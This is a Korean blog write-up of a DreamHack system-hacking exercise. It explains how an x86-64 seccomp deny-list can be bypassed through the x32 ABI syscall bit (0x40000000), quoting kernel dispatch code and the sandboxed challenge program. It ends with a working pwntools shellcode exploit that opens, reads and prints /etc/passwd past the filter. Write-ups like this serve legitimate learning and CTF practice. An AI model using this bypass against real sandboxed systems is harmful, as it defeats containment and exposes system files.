Recent Posts
Recent Comments
Link
«   2025/02   »
1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28
Tags
more
Archives
Today
Total
관리 메뉴

CIDY

[System_Hacking] AD: stage2_ABI(+예제) 본문

Hack/DreamHack(로드맵)

[System_Hacking] AD: stage2_ABI(+예제)

CIDY 2022. 7. 10. 22:31
#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      MAINTAIN_PROCESS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  return 0;
}
int main(int argc, char* argv[]) {
  char buf[256];
  int fd;
  memset(buf, 0, sizeof(buf));
  sandbox();
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
  return 0;
}

 
이전에 풀었던 문제(bypass)를 뜯어보면 이렇게 생겼다. 그런데 코드를 봤을 땐 0x40000000과 비교하는 코드는 없었다. 
 
https://orcinus-orca.tistory.com/64

[System_Hacking] AD: stage2_문제풀이(Bypass SECCOMP-1)

*Bypass SECCOMP 개발자가 모든 시스템 콜울 숙지하고 있는 것은 아니기에, 보안은 완벽할 수 없고 상황에 따라 여러 우회 방법이 존재한다. -타 시스템 콜 호출 : open을 막아뒀다면, 같은 기능을 수행

orcinus-orca.tistory.com

 
이번 예제 코드를 까 보면 아래와 같다.
 

 
위 코드와는 달리 비교 구문이 없다. -> SECCOMP라이브러리 함수에서 시스템 콜 번호의 값을 비교하는 구문을 추가한다. -> 왜?
 
x86-64와 x32의 ABI는 같은 프로세서에서 동작한다. x86_64는 32비트 명령어를 호환할 수 있다. SECCOMP에서는 아키텍처를 표시할 때 AUDIR_ARCH_x86_64라고 정의된 매크로를 사용한다. -> 리눅스 커널에서 x86-64와 x32를 동시에 가리키는 아키텍쳐 필드명이다. (물론 두 ABI는 분명 다른 아키텍쳐가 맞다.) 
 
근데 걔네 둘을 구별해야 하니 -> 시스템 콜 번호에 특정 값을 사용하는데, 그게 바로 0x40000000이다. 
 

__visible noinstr void do_syscall_64(struct pt_regs *regs, int nr)
{
	add_random_kstack_offset();
	nr = syscall_enter_from_user_mode(regs, nr);
	instrumentation_begin();
	if (!do_syscall_x64(regs, nr) && !do_syscall_x32(regs, nr) && nr != -1) {
		/* Invalid system call, but still a system call. */
		regs->ax = __x64_sys_ni_syscall(regs);
	}
	instrumentation_end();
	syscall_exit_to_user_mode(regs);
}

 
이 코드는 리눅스 커널에서 시스템 콜을 호출하기 위한 do_syscall_64함수인데, do_syscall_x64를 호출하고, 이후 do_syscall_x32를 호출한다. -> x86-64의 시스템 콜 호출에 실패하면 x32 ABI에서 다시 한 번 호출을 시도하는 코드이다.
 

static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr)
{
	/*
	 * Convert negative numbers to very high and thus out of range
	 * numbers for comparisons.
	 */
	unsigned int unr = nr;
	if (likely(unr < NR_syscalls)) {
		unr = array_index_nospec(unr, NR_syscalls);
		regs->ax = sys_call_table[unr](regs);
		return true;
	}
	return false;
}

 
do_syacall_x64함수는 이렇게 생겼다. 호출하는 시스템 콜 번호가 시스템 콜 개수를 초과하지 않는다면 시스템 콜을 호출한다.
 

static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
	/*
	 * Adjust the starting offset of the table, and convert numbers
	 * < __X32_SYSCALL_BIT to very high and thus out of range
	 * numbers for comparisons.
	 */
	unsigned int xnr = nr - __X32_SYSCALL_BIT;
	if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
		xnr = array_index_nospec(xnr, X32_NR_syscalls);
		regs->ax = x32_sys_call_table[xnr](regs);
		return true;
	}
	return false;
}

 
이 코드는 do_syscall_x32인데, 호출하는 시스템 콜 번호에서 __X32_SYSCALL_BIT값을 뺀 시스템 콜 번호를 쓴다. -> 이 매크로( __X32_SYSCALL_BIT)의 값이 바로 0x40000000이다. 
 
 

#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}
int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      DENY_SYSCALL(read),
      DENY_SYSCALL(write),
      DENY_SYSCALL(vfork),
      DENY_SYSCALL(fork),
      DENY_SYSCALL(clone),
      DENY_SYSCALL(execve),
      DENY_SYSCALL(execveat),
      MAINTAIN_PROCESS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  return 0;
}
int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  init();
  memset(shellcode, 0, 0x1000);
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
  sandbox();
  sc = (void *)shellcode;
  sc();
}

 
이것 역시 쉘코드를 쓰면 되는 문제인데, deny list기반 -> DENY_SYSCALL매크로 인자로 전달되는 저 시스템 콜들을 모두 쓸 수 없다. read랑 write는 sendfile로 대체한다고 해도, open은 어떻게 할 수 있을까? -> 32비트도 호환이 된다는 점을 이용할 수 있다.
 

 
SECCOMP까보면 이렇게 생겼다. 그냥 말 그대로 저 함수들은 다 못 쓴다는거다. 
 
그럼 일단 무슨 시스템 콜을 쓸 수 있을까? 사실 시스템 콜은 조금 복잡하다. 예를 들어 execve를 허용한다고 해도 execve내부에서 openat 시스템 콜을 이용하기 때문에 호출 자체는 되겠지만 의도한 기능의 수행이 정상적으로 되지 않는다. 
 
따라서 execve가 그렇듯 다른 시스템 콜에 의존이 많으면 허용되었어도 이용이 쉽지 않다. 참고로 open, read, write는 다른 시스템 콜에 의존하지 않고 실행 가능한 시스템 콜들이다. -> 여기서 해당 시스템 콜을 쓰지 못하도록 설정해두긴 했지만 do_syscall_x32함수에서 실행 가능하다.
 
이전에 해줬던 open -> read -> write와 똑같이 해 주면 되는데, or rax, 0x40000000 을 시스템 콜 번호(rax) 전달 시 해줘야 한다.
 

from pwn import *

p = process("./abi")

context.arch = "x86_64"

shellcode = '''

mov rax, 0x2
or rax, 0x40000000
lea rdi, [rip + path]
xor rsi, rsi
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x100
xor rax, rax
or rax, 0x40000000
syscall

mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall

path: .asciz "/etc/passwd"
'''

p.sendline(asm(shellcode))

p.interactive()

 
쉘코드 만들다 빡쳤던 기억이 조금씩 올라오지만... 아무튼 완성
 
아 참고로 .asciz로 해야 읽을만하다.